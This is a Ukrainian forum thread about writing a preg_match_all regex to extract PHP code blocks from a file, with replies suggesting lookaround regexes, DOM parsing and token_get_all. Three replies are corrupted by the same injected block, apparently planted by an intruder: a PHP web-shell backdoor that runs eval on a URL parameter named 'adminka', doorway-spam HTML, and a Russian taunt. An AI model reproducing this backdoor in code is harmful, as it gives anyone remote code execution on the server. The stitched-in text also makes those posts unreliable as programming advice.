1 Востаннє редагувалося Адріян Ігорович (06.08.2013 17:31:08)

Тема: Питання по preg_match_all

Є значить файл, в ньому є і html і php.
Треба в масив занести кусочки php коду.
Склав таку от регулярку(я в них не сильний):

preg_match_all('/((<\?php)|(<\?))(.*)(\?>)/u', $view, $subject);

Все працює норм, тільки от у масив ще й заноситься різний непотріб.
Ось приклад:

Array
(
    [0] => Array
        (
            [0] => <?php echo "php";?>
            [1] => <? echo "!php";?>
        )

    [1] => Array
        (
            [0] => <?php
            [1] => <?
        )

    [2] => Array
        (
            [0] => <?php
            [1] => 
        )

    [3] => Array
        (
            [0] => 
            [1] => <?
        )

    [4] => Array
        (
            [0] =>  echo "php";
            [1] =>  echo "!php";
        )

    [5] => Array
        (
            [0] => ?>
            [1] => ?>
        )

)

Що потрібно зробити, щоб не заносилися такі елементи як 1,2,3,5 а заносилися лише такі елементи як 0 та 4 ?

2

Re: Питання по preg_match_all

Або DOM або інша/іще одна регулярка.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

3 Востаннє редагувалося Invader (06.08.2013 19:54:35)

Re: Питання по preg_match_all

Get code between php tags with regular expression

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: Питання по preg_match_all

Або ще можна спробувати записати весь вміст файлу в рядок, наприклад, і шукати там <?php або <?, якщо знайшли, почати зчитувати з того місця де знайшли, доти доки не зустрінеться ?>, якщо такий набір символів зустрівся, припиняємо зчитування, доти док не знайдеться <?php або <?.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

5

Re: Питання по preg_match_all

По-перше, You can't parse [X]HTML with regex.
Ну а по-друге, вам потрібні передумови:
preg_match_all('/(?<=<\?php|<\?\s).*(?=\?>)/u', $view, $subject);

Подякували: Адріян Ігорович1

6

Re: Питання по preg_match_all

Стосовно мого "по-перше":
$view = "html tags <?echo '?>'; ?> some more html"
І як таке парсити?

7

Re: Питання по preg_match_all

як це роблю я:

token_get_all

http://php.net/manual/en/function.token-get-all.php

Це трохи складніше але зате простіше підтримувати так як даєш йому код і просто біжиш де починається рнр тег і де закінчується.

p.s. Пишу утиліти для рефакторінгу тому повірте ця функція добре справляється з визначенням кусків коду. Видерти php з будь якого файлу буде дуже просто ;)